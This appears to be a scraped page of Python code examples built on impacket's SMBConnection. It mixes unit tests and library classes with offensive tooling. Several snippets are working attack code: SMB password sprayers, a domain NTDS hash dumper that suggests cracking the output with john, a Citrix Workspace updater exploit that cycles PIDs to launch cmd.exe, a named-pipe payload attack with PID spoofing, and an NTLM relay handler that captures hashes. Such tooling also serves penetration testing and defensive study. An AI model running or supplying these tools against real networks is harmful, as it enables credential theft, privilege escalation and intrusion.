示例#1
0
    def test_smbserver_share_put(self):
        """Test writing files to a shared folder.
        """
        server = SimpleSMBServer(listenAddress=self.address,
                                 listenPort=int(self.port))
        server.addCredential(self.username, 0, self.lmhash, self.nthash)
        server.addShare(self.share_name, self.share_path)
        self.start_smbserver(server)

        client = SMBConnection(self.address,
                               self.address,
                               sess_port=int(self.port))
        client.login(self.username, self.password)

        local_file = StringIO(self.share_new_content)

        client.putFile(self.share_name, self.share_new_file, local_file.read)
        self.assertTrue(exists(join(self.share_path, self.share_new_file)))
        with open(join(self.share_path, self.share_new_file), "r") as fd:
            self.assertEqual(fd.read(), self.share_new_content)

        # Check path traversal in put as in #1066
        with self.assertRaises(SessionError):
            client.putFile(self.share_name, join("..",
                                                 self.share_unjailed_file),
                           local_file.read)
        self.assertFalse(exists(self.share_unjailed_file))

        client.close()
示例#2
0
    def check(self, remote_host):
        # Validate credentials first
        if not self.creds_validated:
            self.validate_creds(remote_host)
            self.creds_validated = True

        # Now start scanner
        try:
            smbClient = SMBConnection(
                remote_host, remote_host, sess_port=int(
                    self.__port))  #, preferredDialect=SMB2_DIALECT_21
        except:
            return
        ntlm.computeResponseNTLMv2 = mod_computeResponseNTLMv2
        ntlm.getNTLMSSPType3 = mod_getNTLMSSPType3
        try:
            smbClient.login(self.__username, self.__password, self.__domain,
                            self.__lmhash, self.__nthash)
            logging.info(
                'Target %s is VULNERABLE to CVE-2019-1040 (authentication was accepted)',
                remote_host)
        except SessionError as exc:
            if 'STATUS_INVALID_PARAMETER' in str(exc):
                logging.info(
                    'Target %s is not vulnerable to CVE-2019-1040 (authentication was rejected)',
                    remote_host)
            else:
                logging.warning(
                    'Unexpected Exception while authenticating to %s: %s',
                    remote_host, exc)

        smbClient.close()
示例#3
0
 def run(self):
     for target in self.targets:
         target = target.strip()
         self.target = target
         smb_connection = SMBConnection(self.target, self.target)
         for user in enumerate(self.usernames):
             user = user[-1].strip()
             if self.user_as_pass:
                 self.update_progress()
                 next_user = self.login(self.target, self.domain, user,
                                        user, smb_connection)
                 if next_user:
                     # Restablish smb_connection to avoid false positves
                     smb_connection.close()
                     smb_connection = SMBConnection(self.target,
                                                    self.target)
                     continue
             if self.passwords:
                 self.passwords.seek(os.SEEK_SET)
                 for password in enumerate(self.passwords):
                     password = password[-1].strip()
                     self.update_progress()
                     next_user = self.login(self.target, self.domain, user,
                                            password, smb_connection)
                     if next_user:
                         # Restablish smb_connection to avoid false positves
                         smb_connection.close()
                         smb_connection = SMBConnection(
                             self.target, self.target)
                         break
示例#4
0
def getNTDSInfo(user, password, domain, ip):
    print("[*] Trying to dump Domain users hashes...")
    conn = SMBConnection(ip, ip, None, 445)
    if conn.login(user, password, domain):
        print("[+] Successful SMB connection to the DC")
    r = RemoteOperations(conn, True)
    r.enableRegistry()
    bootkey = r.getBootKey()
    print("[*] Creating and parsing NTDS...")
    NTDSFileName = r.saveNTDS()
    NTDS = NTDSHashes(NTDSFileName, bootkey, isRemote=True, history=False, noLMHash=False, remoteOps=r, useVSSMethod=True, resumeSession=None, printUserStatus=False, outputFileName='DOMAIN_HASHES')
    print("[+] Success")
    print("[*] Dumping hashes from NTDS (could take a while)...")
    NTDS.dump()
    NTDS.finish()
    r.finish()
    conn.close()
    os.rename("DOMAIN_HASHES.ntds", "DOMAIN_HASHES.txt")
    os.remove("DOMAIN_HASHES.ntds.kerberos")
    if os.stat("DOMAIN_HASHES.ntds.cleartext").st_size == 0:
        os.remove("DOMAIN_HASHES.ntds.cleartext")
    else:
        print("[+] Cleartext passwords founds ! look in the file DOMAIN_HASHES.ntds.cleartext")
    print("[+] Successful dump of the users hashes in DOMAIN_HASHES.txt")
    print("You can use 'john --format=NT DOMAIN_HASHES.txt' to crack passwords and 'john --format=NT --show DOMAIN_HASHES.txt | cut -d: -f 1,2 > JOHN_RESULT.txt' when you finished")
示例#5
0
    def test_smbserver_login(self):
        """Test authentication using password and LM/NTHash login.
        """
        server = self.get_smbserver()
        server.addCredential(self.username, 0, self.lmhash, self.nthash)
        self.start_smbserver(server)

        # Valid password login
        client = SMBConnection(self.address,
                               self.address,
                               sess_port=int(self.port))
        client.login(self.username, self.password)
        client.close()

        # Valid hash login
        client = SMBConnection(self.address,
                               self.address,
                               sess_port=int(self.port))
        client.login(self.username, '', lmhash=self.lmhash, nthash=self.nthash)
        client.close()

        # Invalid password login
        with self.assertRaises(SessionError):
            client = SMBConnection(self.address,
                                   self.address,
                                   sess_port=int(self.port))
            client.login(self.username, 'SomeInvalidPassword')
            client.close()

        # Invalid username login
        with self.assertRaises(SessionError):
            client = SMBConnection(self.address,
                                   self.address,
                                   sess_port=int(self.port))
            client.login("InvalidUser",
                         "",
                         lmhash=self.lmhash,
                         nthash=self.nthash)
            client.close()

        # Invalid hash login
        with self.assertRaises(SessionError):
            client = SMBConnection(self.address,
                                   self.address,
                                   sess_port=int(self.port))
            client.login(self.username,
                         "",
                         lmhash=self.nthash,
                         nthash=self.lmhash)
            client.close()
示例#6
0
    def check(self, remote_host):
        # Validate credentials first
        if not self.creds_validated:
            self.validate_creds(remote_host)
            self.creds_validated = True

        # Now start scanner
        try:
            smbClient = SMBConnection(
                remote_host, remote_host, sess_port=int(
                    self.__port))  #, preferredDialect=SMB2_DIALECT_21
        except:
            return
        try:
            # Both cve-2019-1019 and cve-2019-1040 were part of the same KB and can be checked
            # by using cve-2019-1040 can logic
            if self.__vuln in ["CVE-2019-1019", "CVE-2019-1040"]:
                ntlm.computeResponseNTLMv2 = mod_cve20191040_computeResponseNTLMv2
            if self.__vuln == "CVE-2019-1166":
                ntlm.computeResponseNTLMv2 = mod_cve20191166_computeResponseNTLMv2
            if self.__vuln == "CVE-2019-1338":
                ntlm.computeResponseNTLMv2 = mod_cve20191338_computeResponseNTLMv2
            smbClient.login(self.__username, self.__password, self.__domain,
                            self.__lmhash, self.__nthash)
            logging.info(
                'Target %s is VULNERABLE to %s (authentication was accepted)',
                remote_host, self.__vuln)
        except SessionError as exc:
            if 'STATUS_INVALID_PARAMETER' in str(exc) and self.__vuln in [
                    "CVE-2019-1019", "CVE-2019-1040", "CVE-2019-1166"
            ]:
                logging.info(
                    'Target %s is not vulnerable to %s (authentication was rejected)',
                    remote_host, self.__vuln)
            elif 'STATUS_LOGON_FAILURE' in str(
                    exc) and self.__vuln == "CVE-2019-1338":
                logging.info(
                    'Target %s is not vulnerable to %s (authentication was rejected)',
                    remote_host, self.__vuln)
            else:
                logging.warning(
                    'Unexpected Exception while authenticating to %s: %s',
                    remote_host, exc)

        smbClient.close()
示例#7
0
def login(username, password, domain, host, verbose=False):
    # safe way to kill login functionality once exceptions are made
    if shutdown:
        return None
    desc = ""
    with open(spray_logs, "a+") as sf:
        try:
            smbclient = SMBConnection(host, host, sess_port=445)
            if domain:
                conn = smbclient.login(username, password, domain)
            # if domain isn't supplied get it from the server
            else:
                conn = smbclient.login(username, password, domain)
                domain = smbclient.getServerDNSDomainName()
            if conn:
                message = get_pretty_time("success") + "{}\{}:{} ".format(
                    domain, username, password) + colored(
                        "(Successful!)", "green")
                with open(valid_creds, "a+") as f:
                    f.write(domain + "\\" + username + ":" + password + "\r\n")
            smbclient.close()
        # impacket smb session error handling
        except SessionError as e:
            error, desc = e.getErrorString()
            if not domain:
                domain = smbclient.getServerDNSDomainName()
            message = "{}\{}:{} ".format(domain, username, password)
            if error in smb_error_status:
                message = get_pretty_time("warn") + message + colored(
                    error, "yellow")
            elif error == smb_error_locked:
                message = get_pretty_time("danger") + message + colored(
                    error, "red")
                print(message)
                raise Locked(username)
            else:
                message = get_pretty_time() + message + error
            smbclient.close()
        print(message)
        if verbose and desc:
            print(desc)
        sf.write(message + "\r\n")
示例#8
0
    def test_smbserver_share_list(self):
        """Test listing files in a shared folder.
        """
        server = SimpleSMBServer(listenAddress=self.address,
                                 listenPort=int(self.port))
        server.addCredential(self.username, 0, self.lmhash, self.nthash)
        server.addShare(self.share_name, self.share_path)
        self.start_smbserver(server)

        client = SMBConnection(self.address,
                               self.address,
                               sess_port=int(self.port))
        client.login(self.username, self.password)
        client.listPath(self.share_name, "/")

        # Check path traversal in list as in #1066
        with self.assertRaises(SessionError):
            client.listPath(self.share_name, "../impacket/")

        client.close()
示例#9
0
    def test_smbserver_share_get(self):
        """Test reading files from a shared folder.
        """
        server = SimpleSMBServer(listenAddress=self.address,
                                 listenPort=int(self.port))
        server.addCredential(self.username, 0, self.lmhash, self.nthash)
        server.addShare(self.share_name, self.share_path)
        self.start_smbserver(server)

        client = SMBConnection(self.address,
                               self.address,
                               sess_port=int(self.port))
        client.login(self.username, self.password)

        local_file = BytesIO()
        client.getFile(self.share_name, self.share_file, local_file.write)
        local_file.seek(0)
        self.assertEqual(local_file.read(), b(self.share_new_content))

        # Check unexistent file
        with self.assertRaises(SessionError):
            client.getFile(self.share_name, "unexistent", local_file.write)

        client.close()
示例#10
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',
                 aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None):
        DCERPCTransport.__init__(self, remoteName, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
        self._doKerberos = doKerberos
        self._kdcHost = kdcHost

        if remote_host != '':
            self.setRemoteHost(remote_host)

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
                                                  preferredDialect=self.__prefDialect)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
            else:
                self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash,
                                                    self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT,
                                                    TGS=self._TGS)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection.close()
            self.__smb_connection = 0

    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset:offset+self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv = 0, count = 0 ):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
示例#11
0
class ImpacketConnection:
    class Options:
        def __init__(self,
                     hostname="",
                     domain_name="",
                     username="",
                     password="",
                     lmhash="",
                     nthash="",
                     kerberos=False,
                     aesKey="",
                     dc_ip=None,
                     timeout=5):
            self.hostname = hostname
            self.domain_name = domain_name
            self.username = username
            self.password = password
            self.lmhash = lmhash
            self.nthash = nthash
            self.timeout = timeout
            self.kerberos = kerberos
            self.aesKey = aesKey
            self.dc_ip = dc_ip

    def __init__(self, options: Options):
        self.options = options
        self.hostname = options.hostname
        self.domain_name = options.domain_name
        self.username = options.username
        self.password = options.password
        self.lmhash = options.lmhash
        self.nthash = options.nthash
        self.kerberos = options.kerberos
        self.aesKey = options.aesKey
        self.dc_ip = options.dc_ip
        self.timeout = options.timeout
        self._log = Logger(self.hostname)
        self._conn = None

    def get_logger(self):
        return self._log

    def set_logger(self, logger):
        self._log = logger

    def login(self):
        try:
            ip = list({
                addr[-1][0]
                for addr in getaddrinfo(self.hostname, 0, 0, 0, 0)
            })[0]
            if ip != self.hostname:
                self._log.debug("Host {} resolved to {}".format(
                    self.hostname, ip))
        except gaierror as e:
            return RetCode(ERROR_DNS_ERROR, e)

        try:
            self._conn = SMBConnection(self.hostname, ip, timeout=self.timeout)
        except Exception as e:
            return RetCode(ERROR_CONNECTION_ERROR, e)

        username = ''
        if not self.kerberos:
            username = self.username.split("@")[0]
            self._log.debug("Authenticating against {}".format(ip))
        else:
            self._log.debug("Authenticating against {}".format(self.hostname))

        try:
            if not self.kerberos:
                self._conn.login(username,
                                 self.password,
                                 domain=self.domain_name,
                                 lmhash=self.lmhash,
                                 nthash=self.nthash,
                                 ntlmFallback=True)
            else:
                self._conn.kerberosLogin(username,
                                         self.password,
                                         domain=self.domain_name,
                                         lmhash=self.lmhash,
                                         nthash=self.nthash,
                                         aesKey=self.aesKey,
                                         kdcHost=self.dc_ip)

        except SessionError as e:
            self._log.debug("Provided credentials : {}\\{}:{}".format(
                self.domain_name, username, self.password))
            return RetCode(ERROR_LOGIN_FAILURE, e)
        except KerberosException as e:
            self._log.debug("Kerberos error")
            return RetCode(ERROR_LOGIN_FAILURE, e)
        except Exception as e:
            return RetCode(ERROR_UNDEFINED, e)
        return RetCode(ERROR_SUCCESS)

    def connectTree(self, share_name):
        return self._conn.connectTree(share_name)

    def openFile(self, tid, fpath, timeout: int = 3):
        self._log.debug("Opening file {}".format(fpath))

        start = time.time()

        while True:
            try:
                fid = self._conn.openFile(tid,
                                          fpath,
                                          desiredAccess=FILE_READ_DATA)
                self._log.debug("File {} opened".format(fpath))
                return fid
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find(
                        'STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                    # Output not finished, let's wait
                    if time.time() - start > timeout:
                        raise (Exception(e))
                    time.sleep(1)
                else:
                    raise Exception(e)

    def queryInfo(self, tid, fid):
        while True:
            try:
                info = self._conn.queryInfo(tid, fid)
                return info
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def getFile(self, share_name, path_name, callback):
        while True:
            try:
                self._conn.getFile(share_name, path_name, callback)
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def deleteFile(self, share_name, path_name):
        while True:
            try:
                self._conn.deleteFile(share_name, path_name)
                self._log.debug("File {} deleted".format(path_name))
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    time.sleep(2)
                else:
                    raise Exception(e)

    def putFile(self, share_name, path_name, callback):
        try:
            self._conn.putFile(share_name, path_name, callback)
            self._log.debug("File {} uploaded".format(path_name))
        except Exception as e:
            raise Exception(
                "An error occured while uploading %s on %s share : %s" %
                (path_name, share_name, e))

    def readFile(self, tid, fid, offset, size):
        return self._conn.readFile(tid, fid, offset, size, singleCall=False)

    def closeFile(self, tid, fid):
        return self._conn.closeFile(tid, fid)

    def disconnectTree(self, tid):
        return self._conn.disconnectTree(tid)

    def isadmin(self):
        try:
            self.connectTree("C$")
            return RetCode(ERROR_SUCCESS)
        except Exception as e:
            return RetCode(ERROR_ACCESS_DENIED, e)

    def close(self):
        if self._conn is not None:
            self._log.debug("Closing Impacket connection")
            self._conn.close()

    def clean(self):
        try:
            self.close()
            return RetCode(ERROR_SUCCESS)
        except Exception as e:
            return RetCode(ERROR_CONNECTION_CLEANING, e)
示例#12
0
def main():

    global cru_pid, sendSMB_Original

    logger.init()

    parser = argparse.ArgumentParser(add_help=True,
                                     description="SMB client implementation.")

    parser.add_argument(
        'target',
        action='store',
        help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-pid',
                        action="store",
                        nargs='?',
                        type=int,
                        help='the PID of CitrixReceiverUpdater.exe')
    parser.add_argument(
        '-max-pid',
        action="store",
        nargs='?',
        type=int,
        default=50000,
        help='the highest PID to use when in PID cycling mode (default: 50000)'
    )
    parser.add_argument(
        '-command',
        action='store',
        default="c:\\windows\\system32\\cmd.exe",
        help='The command to execute, (Default: c:\\windows\\system32\\cmd.exe)'
    )
    parser.add_argument(
        '-update-hash',
        action='store',
        default=
        '24f4845c08b5629c78de41c46411404ec822390f54431205e66d212e620e4f64')
    parser.add_argument('-debug',
                        action='store_true',
                        help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes',
                       action="store",
                       metavar="LMHASH:NTHASH",
                       help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass',
                       action="store_true",
                       help='don\'t ask for password (useful for -k)')
    group.add_argument(
        '-k',
        action="store_true",
        help='Use Kerberos authentication. Grabs credentials from ccache file '
        '(KRB5CCNAME) based on target parameters. If valid credentials '
        'cannot be found, it will use the ones specified in the command '
        'line')
    group.add_argument('-aesKey',
                       action="store",
                       metavar="hex key",
                       help='AES key to use for Kerberos Authentication '
                       '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument(
        '-dc-ip',
        action='store',
        metavar="ip address",
        help=
        'IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
        'the target parameter')
    group.add_argument(
        '-target-ip',
        action='store',
        metavar="ip address",
        help=
        'IP Address of the target machine. If omitted it will use whatever was specified as target. '
        'This is useful when target is the NetBIOS name and you cannot resolve it'
    )
    group.add_argument('-port',
                       choices=['139', '445'],
                       nargs='?',
                       default='445',
                       metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()
    cru_pid = options.pid

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
    else:
        logging.getLogger().setLevel(logging.INFO)

    domain, username, password, address = re.compile(
        '(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
            options.target).groups('')

    # In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass

        password = getpass("Password:"******"Attempting to exploit using PID cycling mode with max PID %d",
                options.max_pid)
            logging.disable(logging.ERROR)
            cru_pid = 4
            while cru_pid < options.max_pid and attemptExecution(
                    smbClient, tid, cru_pid, options.command,
                    options.update_hash) is False:
                cru_pid += 4

            logging.disable(logging.DEBUG)
            if cru_pid < options.max_pid:
                logging.info("Successfully launched program using pid %d",
                             cru_pid)
            else:
                logging.info(
                    "Exhausted PID search range, Citrix Workspace Updates might not be running"
                )

        smbClient.close()

    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback

            traceback.print_exc()
        logging.error(str(e))
示例#13
0
class NPAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["NP"]

    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)

        self.pid = int(config.pipe_client_pid)
        self.pipe_name = config.pipe_name
        self.payload = config.payload_path
        if not config.command:
            self.command = 'c:\\windows\\system32\\cmd.exe'
        else:
            self.command = config.command

        self.sendSMB_Original = self.client._SMBConnection.sendSMB
        self.client._SMBConnection.sendSMB = types.MethodType(
            self.sendSMB, self.client._SMBConnection)

        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient

    def openPipe(self, tid, pipe, accessMask):
        pipeReady = False
        tries = 50
        while pipeReady is False and tries > 0:
            try:
                self.__SMBConnection.waitNamedPipe(tid, pipe)
                pipeReady = True
            except Exception as e:
                print(str(e))
                tries -= 1
                time.sleep(2)
                pass

        if tries == 0:
            raise Exception('Pipe not ready, aborting')

        fid = self.__SMBConnection.openFile(tid,
                                            pipe,
                                            accessMask,
                                            creationOption=0x40,
                                            fileAttributes=0x80)

        return fid

    def isPipeAvailable(self, tid):
        try:
            fid = self.openPipe(tid, '\\' + self.pipe_name, 0x12019f)
            self.__SMBConnection.closeFile(tid, fid)
            return True
        except:
            return False

    def sendPayload(self, tid):

        result = True
        fid = self.openPipe(tid, '\\' + self.pipe_name, 0x12019f)
        payload_file = open(self.payload, mode='rb')
        payload = payload_file.read()
        response = None

        try:
            self.__SMBConnection.writeNamedPipe(tid, fid, payload, True)
            response = self.__SMBConnection.readNamedPipe(tid, fid)

        except Exception as e:
            response = e
            result = False

        finally:
            self.__SMBConnection.closeFile(tid, fid)
            return result

    def getData(self, original):
        original['Pid'] = self.pid
        return original.orignalGetData()

    def sendSMB(self, original, packet):

        # Some ugly hacks here, essentially we are hooking
        # some original SMB1/2 function from impacket so we
        # can intercept the calls and patch the PID at the correct point

        if packet['Command'] is SMB2_CREATE:  #SMB2/3
            # If the command type is create for opening files/named pipes
            # then replace the Reserved (PID) field with our spoofed PID
            packet["Reserved"] = self.pid
        elif packet['Command'] is SMB.SMB_COM_NT_CREATE_ANDX:  #SMB1
            # Additional level of hooks here since SMB1 packets are
            # handled differently, and in fact the impacket does use
            # the real process PID of the client, so we need to override
            # that behavior
            packet.orignalGetData = packet.getData
            packet.getData = types.MethodType(self.getData, packet)

        # Send our packet using original sendSMB function
        self.sendSMB_Original(packet)

    def run(self):

        tid = self.__SMBConnection.connectTree('IPC$')

        if not self.isPipeAvailable(tid):
            LOG.warn("Pipe not found or accessible on host %s" %
                     (self.__SMBConnection.getRemoteHost()))
            return

        if self.pid is 0:
            LOG.info(
                "Pipe found and writable on %s, starting attack through PID cycling!"
                % (self.__SMBConnection.getRemoteHost()))
            self.pid = 4
            while self.pid < 50000 and self.sendPayload(tid) is False:
                self.pid += 4

            LOG.info("Finished PID cycling on host %s",
                     self.__SMBConnection.getRemoteHost())
        else:
            LOG.info(
                "Pipe found and writable on %s, sending payload using PID %d!"
                % (self.__SMBConnection.getRemoteHost(), self.pid))
            self.sendPayload(tid)

        self.__SMBConnection.close()
示例#14
0
    def SmbSessionSetup(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)

        respSMBCommand = smb3.SMB2SessionSetup_Response()
        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

        connData['Capabilities'] = sessionSetupData['Capabilities']

        securityBlob = sessionSetupData['Buffer']

        rawNTLM = False
        if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID:
           # NEGOTIATE packet
           blob =  SPNEGO_NegTokenInit(securityBlob)
           token = blob['MechToken']
           if len(blob['MechTypes'][0]) > 0:
               # Is this GSSAPI NTLM or something else we don't support?
               mechType = blob['MechTypes'][0]
               if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                               mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                   # Nope, do we know it?
                   if mechType in MechTypes:
                       mechStr = MechTypes[mechType]
                   else:
                       mechStr = hexlify(mechType)
                   smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
                   # We don't know the token, we answer back again saying
                   # we just support NTLM.
                   # ToDo: Build this into a SPNEGO_NegTokenResp()
                   respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
                   respSMBCommand['SecurityBufferOffset'] = 0x48
                   respSMBCommand['SecurityBufferLength'] = len(respToken)
                   respSMBCommand['Buffer'] = respToken

                   return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
        elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
           # AUTH packet
           blob = SPNEGO_NegTokenResp(securityBlob)
           token = blob['ResponseToken']
        else:
           # No GSSAPI stuff, raw NTLMSSP
           rawNTLM = True
           token = securityBlob

        # Here we only handle NTLMSSP, depending on what stage of the
        # authentication we are, we act on it
        messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

        if messageType == 0x01:
            # NEGOTIATE_MESSAGE
            negotiateMessage = ntlm.NTLMAuthNegotiate()
            negotiateMessage.fromString(token)
            # Let's store it in the connection data
            connData['NEGOTIATE_MESSAGE'] = negotiateMessage

            #############################################################
            # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
            # Let's send it to the target server and send the answer back to the client.
            client = connData['SMBClient']
            try:
                challengeMessage = self.do_ntlm_negotiate(client, token)
            except Exception as e:
                LOG.debug("Exception:", exc_info=True)
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                # Raise exception again to pass it on to the SMB server
                raise

             #############################################################

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = b'\x01'
                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = challengeMessage.getData()
            else:
                respToken = challengeMessage

            # Setting the packet to STATUS_MORE_PROCESSING
            errorCode = STATUS_MORE_PROCESSING_REQUIRED
            # Let's set up an UID for this connection and store it
            # in the connection's data
            connData['Uid'] = random.randint(1,0xffffffff)

            connData['CHALLENGE_MESSAGE'] = challengeMessage

        elif messageType == 0x02:
            # CHALLENGE_MESSAGE
            raise Exception('Challenge Message raise, not implemented!')

        elif messageType == 0x03:
            # AUTHENTICATE_MESSAGE, here we deal with authentication
            #############################################################
            # SMBRelay: Ok, so now the have the Auth token, let's send it
            # back to the target system and hope for the best.
            client = connData['SMBClient']
            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)
            if authenticateMessage['user_name'] != '':
                # For some attacks it is important to know the authenticated username, so we store it

                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
                                            authenticateMessage['user_name'].decode('utf-16le'))).upper()

                if rawNTLM is True:
                    respToken2 = SPNEGO_NegTokenResp()
                    respToken2['ResponseToken'] = securityBlob
                    securityBlob = respToken2.getData()

                if self.config.remove_mic:
                    from impacket.smbconnection import SMBConnection
                    d1 = 315
                    d2 = 5
                    print('[GPOTATO] WAITING %s SECONDS FOR CHALLENGE TIMEOUT' % (d1))
                    time.sleep(d1)
                    print('[GPOTATO] FLUSHING CHALLENGE CACHE NOW')
                    try:
                        tempSmbConAddress = self.target.netloc.split(':')[0]
                        tempSmbCon = SMBConnection(tempSmbConAddress, tempSmbConAddress)
                        tempSmbCon.login('MADCOW', 'MADCOW', 'MADCOW')
                        tempSmbCon.close()
                    except Exception as e:
                        print('[GPOTATO] DONE: %s' % str(e))
                    print('[GPOTATO] WAITING ADDITIONAL %s SECONDS' % (d2))
                    time.sleep(d2)
                    print('[GPOTATO] AUTHENTICATING...')
                    clientResponse, errorCode = self.do_ntlm_auth(client, token,
                                                                  connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
                                                                  connData['CHALLENGE_MESSAGE']['challenge'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
                authenticateMessage['user_name'].decode('utf-16le')))
                client.killConnection()
            else:
                # We have a session, create a thread and do whatever we want
                LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
                    authenticateMessage['user_name'].decode('utf-16le')))
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True, self.authUser)

                ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
                                                    authenticateMessage['user_name'],
                                                    authenticateMessage['domain_name'], authenticateMessage['lanman'],
                                                    authenticateMessage['ntlm'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                connData['Authenticated'] = True

                self.do_attack(client)
                # Now continue with the server
            #############################################################

            respToken = SPNEGO_NegTokenResp()
            # accept-completed
            respToken['NegResult'] = b'\x00'
            # Let's store it in the connection data
            connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
        else:
            raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

